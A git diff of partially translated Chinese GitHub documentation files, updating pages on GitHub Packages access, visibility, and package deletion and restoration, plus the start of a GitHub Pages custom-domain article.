+2. 为确保工作流程有权访问容器包，您必须添加存储工作流程的仓库。 单击 **Add repository（添加仓库）**并搜索要添加的仓库。 !["添加仓库"按钮](/assets/images/help/package-registry/add-repository-button.png)
+3. （使用“role（角色）”下拉菜单，选择您希望仓库访问您的容器映像所必须拥有的默认访问权限。 ![授予仓库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for your personal account](#configuring-access-to-container-images-for-your-personal-account)."
+要进一步自定义对容器映像的访问，请参阅“[配置对个人帐户的容器映像的访问](#configuring-access-to-container-images-for-your-personal-account)”。
 
-### {% data variables.product.prodname_actions %} access for organization-owned container images 
+### 组织拥有的容器映像的 {% data variables.product.prodname_actions %} 访问权限
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like repository members to have to your container image. Outside collaborators will not be included.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. 在左侧边栏中，单击 **Actions access（操作访问）**。 ![左侧菜单中的"Actions access（操作访问）"选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
+2. 单击 **Add repository（添加仓库）**并搜索要添加的仓库。 !["添加仓库"按钮](/assets/images/help/package-registry/add-repository-button.png)
+3. 使用“role（角色）”下拉菜单，选择您希望仓库成员访问您的容器映像所必须拥有的默认访问权限。 外部协作者将不包括在内。 ![授予仓库的权限访问级别](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
 
-To further customize access to your container image, see "[Configuring access to container images for an organization](#configuring-access-to-container-images-for-an-organization)."
+要进一步自定义对容器映像的访问，请参阅“[配置对组织的容器映像的访问](#configuring-access-to-container-images-for-an-organization)”。
 
 ## Ensuring {% data variables.product.prodname_codespaces %} access to your package
 
@@ -103,71 +92,68 @@ By default, a codespace can seamlessly access certain packages in the {% data va
 
 Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched.
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package.
+指定的仓库不需要是保存包源代码的仓库。 You can give codespaces in multiple repositories access to a package.
 
 Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access.
 
 1. In the right sidebar, click **Package settings**.
 
    !["Package settings" option in right menu](/assets/images/help/package-registry/package-settings.png)
-   
+
 2. Under "Manage Codespaces access", click **Add repository**.
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
+   !["添加仓库"按钮](/assets/images/help/package-registry/manage-codespaces-access-blank.png)
 
 3. Search for the repository you want to add.
 
-   !["Add repository" button](/assets/images/help/package-registry/manage-codespaces-access-search.png)
-   
+   !["添加仓库"按钮](/assets/images/help/package-registry/manage-codespaces-access-search.png)
+
 4. Repeat for any additional repositories you would like to allow access.
 
 5. If the codespaces for a repository no longer need access to an image, you can remove access.
 
    !["Remove repository" button](/assets/images/help/package-registry/manage-codespaces-access-item.png)
 
-## Configuring visibility of container images for your personal account
+## 为个人帐户配置容器映像的可见性
 
-When you first publish a package, the default visibility is private and only you can see the package. You can modify a private or public container image's access by changing the access settings.
+首次发布包时，默认可见性是私有的，只有您才能看到包。 您可以通过更改访问设置来修改私有或公共容器映像的访问权限。
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+公共包可以匿名访问，无需身份验证。 包一旦被设为公共，便无法再次将其设为私有。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. 在“Danger Zone（危险区域）”下，选择可见性设置：
+    - 要使容器映像对任何人都可见，请单击“**Make public（设为公共）**”。
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **警告：**包一旦被设为公共，便无法再次将其设为私有。
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - 要使容器映像只对选择的人员可见，请单击“**Make private（设为私有）**”。 ![容器可见性选项](/assets/images/help/package-registry/container-visibility-option.png)
 
-## Container creation visibility for organization members
+## 组织成员的容器创建可见性
 
-You can choose the visibility of containers that organization members can publish by default.
+您可以选择组织成员默认可以发布的容器的可见性。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. On the left, click **Packages**.
-6. Under "Container creation", choose whether you want to enable the creation of public, private, or internal container images.
-    - To enable organization members to create public container images, click **Public**.
-    - To enable organization members to create private container images that are only visible to other organization members, click **Private**. You can further customize the visibility of private container images.
-    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members.
-    ![Visibility options for container images published by organization members](/assets/images/help/package-registry/container-creation-org-settings.png)
+4. 在左侧，单击 **Packages（包）**。
+6. 在“Container creation（容器创建）”下，选择是要启用公共、私有或内部容器映像。
+    - 要让组织成员创建公共容器映像，请单击 **Public（公共）**。
+    - 要让组织成员创建只对其他组织成员可见的私有容器映像，请单击 **Private（私有）**。 您可以进一步自定义私有容器映像的可见性。
+    - To enable organization members to create internal container images that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the container images will be visible to all enterprise members. ![组织成员发布的容器图像的可见性选项](/assets/images/help/package-registry/container-creation-org-settings.png)
 
-## Configuring visibility of container images for an organization
+## 为组织配置容器映像的可见性
 
-When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your container image through the access settings.
+首次发布包时，默认可见性是私有的，只有您才能看到包。 您可以通过访问设置授予用户或团队对容器映像的不同访问角色。
 
-A public package can be accessed anonymously without authentication. Once you make your package public, you cannot make your package private again.
+公共包可以匿名访问，无需身份验证。 包一旦被设为公共，便无法再次将其设为私有。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-5. Under "Danger Zone", choose a visibility setting:
-    - To make the container image visible to anyone, click **Make public**.
+5. 在“Danger Zone（危险区域）”下，选择可见性设置：
+    - 要使容器映像对任何人都可见，请单击“**Make public（设为公共）**”。
     {% warning %}
 
-    **Warning:** Once you make a package public, you cannot make it private again.
+    **警告：**包一旦被设为公共，便无法再次将其设为私有。
 
     {% endwarning %}
-    - To make the container image visible to a custom selection of people, click **Make private**.
-  ![Container visibility options](/assets/images/help/package-registry/container-visibility-option.png)
+    - 要使容器映像只对选择的人员可见，请单击“**Make private（设为私有）**”。 ![容器可见性选项](/assets/images/help/package-registry/container-visibility-option.png)
diff --git a/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md
index 56a00d1b5b..b1e3ac1230 100644
--- a/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md
+++ b/translations/zh-CN/content/packages/learn-github-packages/deleting-a-package.md
@@ -4,7 +4,6 @@ intro: 'You can delete a version of a {% ifversion not ghae %}private{% endif %}
 product: '{% data reusables.gated-features.packages %}'
 versions:
   ghes: '>=2.22 <3.1'
-  ghae: '*'
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
@@ -31,7 +30,7 @@ To delete a {% ifversion not ghae %}private {% endif %}package version, you must
 
 ## Deleting a version of a {% ifversion not ghae %}private {% endif %}package with GraphQL
 
-Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)."
+Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." 
 
 Here is an example cURL command to delete a package version with the package version ID of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`, using a personal access token.
 
diff --git a/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md b/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
index 310b838496..02c71d43f7 100644
--- a/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
+++ b/translations/zh-CN/content/packages/learn-github-packages/deleting-and-restoring-a-package.md
@@ -11,6 +11,7 @@ versions:
   fpt: '*'
   ghes: '>=3.1'
   ghec: '*'
+  ghae: '*'
 shortTitle: 删除和恢复包
 ---
 
@@ -36,6 +37,7 @@ shortTitle: 删除和恢复包
 - 您在删除后 30 天内恢复包。
 - 相同的包名称空间仍然可用，并且不用于新包。
 
+{% ifversion fpt or ghec or ghes %}
 ## 包 API 支持
 
 {% ifversion fpt or ghec %}
@@ -44,7 +46,7 @@ shortTitle: 删除和恢复包
 
 {% endif %}
 
-对于继承其权限和从仓库访问权限的包，您可以使用 GraphQL 来删除特定的包。{% ifversion fpt or ghec %} {% data variables.product.prodname_registry %} GraphQL API 不支持使用包命名空间 `https://ghcr.io/OWNER/PACKAGE-NAME` 的容器或 Docker 映像。 有关 GraphQL 支持的更多信息，请参阅“[使用 GraphQL 删除仓库范围包的版本](#deleting-a-version-of-a-repository-scoped-package-with-graphql)”。
+For packages that inherit their permissions and access from repositories, you can use GraphQL to delete a specific package version.{% ifversion fpt or ghec %} The {% data variables.product.prodname_registry %} GraphQL API does not support containers or Docker images that use the package namespace `https://ghcr.io/OWNER/PACKAGE-NAME`.{% endif %} For more information about GraphQL support, see "[Deleting a version of a repository-scoped package with GraphQL](#deleting-a-version-of-a-repository-scoped-package-with-graphql)."
 
 {% endif %}
 
@@ -62,8 +64,7 @@ shortTitle: 删除和恢复包
 
 {% ifversion fpt or ghec %}
 
-要删除与仓库分开的具有粒度权限的软件包，例如存储在 `https://ghcr.io/OWNER/PACKAGE-NAME` 上的容器映像，您必须对该包具有管理员访问权限。
- <!--PLACEHOLDER - once packages restructuring is done this is a good place to link to the access control and visibility article.-->
+要删除与仓库分开的具有粒度权限的软件包，例如存储在 `https://ghcr.io/OWNER/PACKAGE-NAME` 上的容器映像，您必须对该包具有管理员访问权限。 更多信息请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。
 
 {% endif %}
 
@@ -80,13 +81,16 @@ shortTitle: 删除和恢复包
 5. 在要删除的版本的右侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 并选择 **Delete version（删除版本）**。 ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-version.png)
 6. 要确认删除，请输入包名称，然后单击 **I understand the consequences, delete this version（我明白后果，删除此版本）**。 ![确认包删除按钮](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
+{% ifversion fpt or ghec or ghes %}
 ### 使用 GraphQL 删除仓库范围包的版本
 
 对于从仓库继承其许可和访问权限的包，您可以使用 GraphQL 删除特定的包版本。
 
 {% ifversion fpt or ghec %}
-`ghcr.io` 上的容器或 Docker 映像不支持 GraphQL。
-{% endif %}<!--PLACEHOLDER for when API link is live:  For full support, use the REST API. For more information, see the "\[{% data variables.product.prodname_registry %} API\](/rest/reference/packages)." -->在 GraphQL API 中使用 `deletePackageVersion` 突变。 必须使用具有 `read:packages`、`delete:packages` 和 `repo` 作用域的令牌。 有关令牌的更多信息，请参阅“[关于 {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)”。
+For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. 更多信息请参阅“[{% data variables.product.prodname_registry %} API](/rest/reference/packages)”。
+{% endif %}
+
+在 GraphQL API 中使用 `deletePackageVersion` 突变。 必须使用具有 `read:packages`、`delete:packages` 和 `repo` 作用域的令牌。 有关令牌的更多信息，请参阅“[关于 {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)”。
 
 下面的示例演示如何使用 `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg` 删除包版本。
 
@@ -98,12 +102,14 @@ curl -X POST \
 HOSTNAME/graphql
 ```
 
-要查找已发布到 {% data variables.product.prodname_registry %} 的所有私有包以及包的版本 ID，您可以使用 `registryPackagesForQuery` 连接。 您需要具有 `read:packages` 和 `repo` 作用域的令牌。 更多信息请参阅 [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) 连接或 [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) 接口。
+To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. 您需要具有 `read:packages` 和 `repo` 作用域的令牌。 更多信息请参阅 [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) 连接或 [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) 接口。
 
-有关 `deletePackageVersion` 突变的更多信息，请参阅“[`deletePackageVersion`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/mutations#deletepackageversion)”。
+For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/mutations#deletepackageversion)."
 
 您不能直接使用 GraphQL 删除整个包，但如果您删除包的每个版本，该包将不再显示在 {% data variables.product.product_name %} 上。
 
+{% endif %}
+
 {% ifversion fpt or ghec %}
 ### 在 {% data variables.product.prodname_dotcom %} 上删除用户范围的包版本
 
@@ -117,11 +123,11 @@ HOSTNAME/graphql
 5. 在要删除的版本的右侧，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 并选择 **Delete version（删除版本）**。 ![删除包版本按钮](/assets/images/help/package-registry/delete-container-package-version.png)
 6. 要确认删除，请输入包名称，然后单击 **I understand the consequences, delete this version（我明白后果，删除此版本）**。 ![确认包删除按钮](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 
-### 在 GitHub 上删除组织范围包版本
+### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %}
 
 要在 {% data variables.product.prodname_dotcom %} 上删除组织范围包的特定版本，例如 `ghcr.io` 上的 Docker 映像，请使用以下步骤。 要删除整个包，请参阅“[删除 {% data variables.product.prodname_dotcom %} 上整个组织范围的包](#deleting-an-entire-organization-scoped-package-on-github)”。
 
-要查看谁可以删除包版本，请参阅“[必需权限](#required-permissions-to-delete-or-restore-a-package)”。
+To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)."
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
@@ -172,10 +178,16 @@ HOSTNAME/graphql
 
 例如，如果您删除了名为 `octo-package` 且范围为 repo `octo-repo-owner/octo-repo` 的 rubygem 包，则您仅在包名称空间 `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` 仍然可用且 30 天未过时才可恢复包。
 
-您还必须满足这些权限要求之一：
+{% ifversion fpt or ghec %}
+To restore a deleted package, you must also meet one of these permission requirements:
   - 对于仓库范围的包：您必须对拥有删除的包的仓库具有管理员权限。{% ifversion fpt or ghec %}
   - 对于用户帐户范围的包：您的用户帐户拥有已删除的包。
   - 对于组织范围的包：您对拥有包的组织中删除的包具有管理员权限。{% endif %}
+{% endif %}
+
+{% ifversion ghae or ghes %}
+To delete a package, you must also have admin permissions to the repository that owns the deleted package.
+{% endif %}
 
 更多信息请参阅“[必需权限](#required-permissions-to-delete-or-restore-a-package)”。
 
@@ -183,7 +195,7 @@ HOSTNAME/graphql
 
 ### 恢复组织中的包
 
-您可以通过组织帐户设置恢复已删除的包，只要该包位于您的一个仓库中{% ifversion fpt or ghec %} 或具有粒度权限，并且范围限于您的组织帐户。{% endif %}
+ You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
 
 要查看谁可以恢复组织中的包，请参阅“[必需权限](#required-permissions-to-delete-or-restore-a-package)”。
 
diff --git a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md
index 63268fe2a2..aa1182e2f8 100644
--- a/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md
+++ b/translations/zh-CN/content/packages/learn-github-packages/introduction-to-github-packages.md
@@ -112,7 +112,7 @@ You can delete a version of a private package in the {% data variables.product.p
 You can delete a version of a package in the {% data variables.product.product_name %} user interface or using the GraphQL API.
 {% endif %}
 
-When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)."
+When you use the GraphQL API to query and delete private packages, you must use the same token you use to authenticate to {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" and "[Forming calls with GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql)."
 
 You can configure webhooks to subscribe to package-related events, such as when a package is published or updated. For more information, see the "[`package` webhook event](/webhooks/event-payloads/#package)."
 
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
index a494c22c11..74d94bffcf 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
@@ -191,4 +191,4 @@ To install an Apache Maven package from {% data variables.product.prodname_regis
 ## Further reading
 
 - "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)"
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
index e27195ffd4..4abbabae70 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
@@ -263,6 +263,6 @@ $ docker pull <em>HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME</em>
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
 
 {% endif %}  <!-- End of main versioning block -->
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
index 92f12983f8..3db0070fdb 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md
@@ -216,4 +216,4 @@ To use a published package from {% data variables.product.prodname_registry %},
 ## Further reading
 
 - "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)"
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
index 6f606db0cb..1163c54a5f 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md
@@ -27,7 +27,7 @@ If you publish over 1,000 npm package versions to {% data variables.product.prod
 
 In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable.
 
-If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)."
+If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)."
 
 ## Authenticating to {% data variables.product.prodname_registry %}
 
@@ -215,4 +215,4 @@ If your instance has subdomain isolation disabled:
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
index 347a099de3..ac87e01173 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -231,6 +231,8 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project
 
 Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
 
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
index 7afbca5c42..22d46ba47a 100644
--- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
+++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md
@@ -153,4 +153,4 @@ You can use gems from {% data variables.product.prodname_registry %} much like y
 
 ## Further reading
 
-- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
+- "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
index 8b423a877c..d550f8de7c 100644
--- a/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
+++ b/translations/zh-CN/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: About custom domains and GitHub Pages
-intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.'
+title: 关于自定义域名和 GitHub 页面
+intro: '{% data variables.product.prodname_pages %} 支持使用自定义域名，或者将网站的 URL 根目录从默认值（如 `octocat.github.io`）更改为您拥有的任何域名。'
 redirect_from:
   - /articles/about-custom-domains-for-github-pages-sites
   - /articles/about-supported-custom-domains
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Custom domains in GitHub Pages
+shortTitle: 在 GitHub Pages 中自定义域
 ---
 
-## Supported custom domains
+## 支持的自定义域
 
-{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)."
+{% data variables.product.prodname_pages %} 可使用两种类型的域名：子域名和 apex 域名。 有关不支持的自定义域名列表，请参阅“[自定义域名和 {% data variables.product.prodname_pages %} 疑难解答](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)“。
 
-| Supported custom domain type | Example |
-|---|---|
-| `www` subdomain | `www.example.com` |
-| Custom subdomain | `blog.example.com` |
-| Apex domain        | `example.com` |
+| 支持的自定义域类型 | 示例                 |
+| --------- | ------------------ |
+| `www` 子域  | `www.example.com`  |
+| 自定义子域     | `blog.example.com` |
+| Apex 域    | `example.com`      |
 
-You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)."
+您可以为您的网站设置 apex 和 `www` 子域配置。 有关 apex 域的更多信息，请参阅“[对您的 {% data variables.product.prodname_pages %} 网站使用 apex 域](#using-an-apex-domain-for-your-github-pages-site)”。
 
-We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+建议始终使用 `www` 子域名，即使您也同时使用 apex 域。 当您创建具有 apex 域的新站点时，我们会自动尝试保护 `www` 子域以供在提供网站内容时使用。 如果您配置 `www` 子域，我们会自动尝试保护相关的 apex 域。 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。
 
-After you configure a custom domain for a user or organization site, the custom domain will replace the `<user>.github.io` or `<organization>.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`.
+在配置用户或组织网站的自定义域后，自定义域名将替换未配置自定义域的帐户所拥有的任何项目网站 URL 的 `<user>.github.io` 或 `<organization>.github.io` 部分。 例如，如果您的用户网站的自定义域名为 `www.octocat.com`，并且您拥有一个未自定义域名的项目网站，该网站从名为 `octo-project` 的仓库发布，则该仓库的 {% data variables.product.prodname_pages %} 网站将在 `www.octocat.com/octo-project` 上提供。
 
-## Using a subdomain for your {% data variables.product.prodname_pages %} site
+## 对您的 {% data variables.product.prodname_pages %} 网站使用子域名
 
-A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`.
+子域名是根域前 URL 的一部分。 您可以将子域名配置为 `www` 或网站的独特部分，如 `blog.example.com`。
 
